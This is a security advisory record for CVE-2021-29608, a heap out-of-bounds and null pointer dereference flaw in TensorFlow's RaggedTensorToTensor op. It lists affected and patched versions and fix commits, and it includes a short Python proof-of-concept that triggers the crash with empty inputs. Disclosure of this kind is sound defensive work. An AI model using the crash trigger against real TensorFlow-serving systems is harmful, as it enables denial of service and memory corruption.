---
id: CVE-2021-29608
aliases:
  - GHSA-rgvq-pcvf-hx75
  - BIT-tensorflow-2021-29608
  - PYSEC-2021-245
  - PYSEC-2021-536
  - PYSEC-2021-734
title: Heap OOB and null pointer dereference in `RaggedTensorToTensor`
summary: Heap OOB and null pointer dereference in `RaggedTensorToTensor`
severity: medium
cvss: 5.3
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-rgvq-pcvf-hx75'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rgvq-pcvf-hx75
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29608'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-536.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-734.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-245.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00234
epssPercentile: 0.12678
ingestedAt: '2026-07-08T18:25:52.725Z'
---

## Overview

### Impact
Due to lack of validation in `tf.raw_ops.RaggedTensorToTensor`, an attacker can exploit an undefined behavior if input arguments are empty:

```python
import tensorflow as tf

shape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
default_value = tf.constant(404, dtype=tf.int64)
row = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
  shape=shape, values=values, default_value=default_value, 
  row_partition_tensors=rows, row_partition_types=types)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L356-L360) only checks that one of the tensors is not empty, but does not check for the other ones.

There are multiple `DCHECK` validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything.

### Patches
We have patched the issue in GitHub commit [b761c9b652af2107cfbc33efd19be0ce41daa33e](https://github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e) followed by GitHub commit [f94ef358bb3e91d517446454edff6535bcfe8e4a](https://github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a) and GitHub commit [c4d7afb6a5986b04505aca4466ae1951686c80f6](https://github.com/tensorflow/tensorflow/commit/c4d7afb6a5986b04505aca4466ae1951686c80f6).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`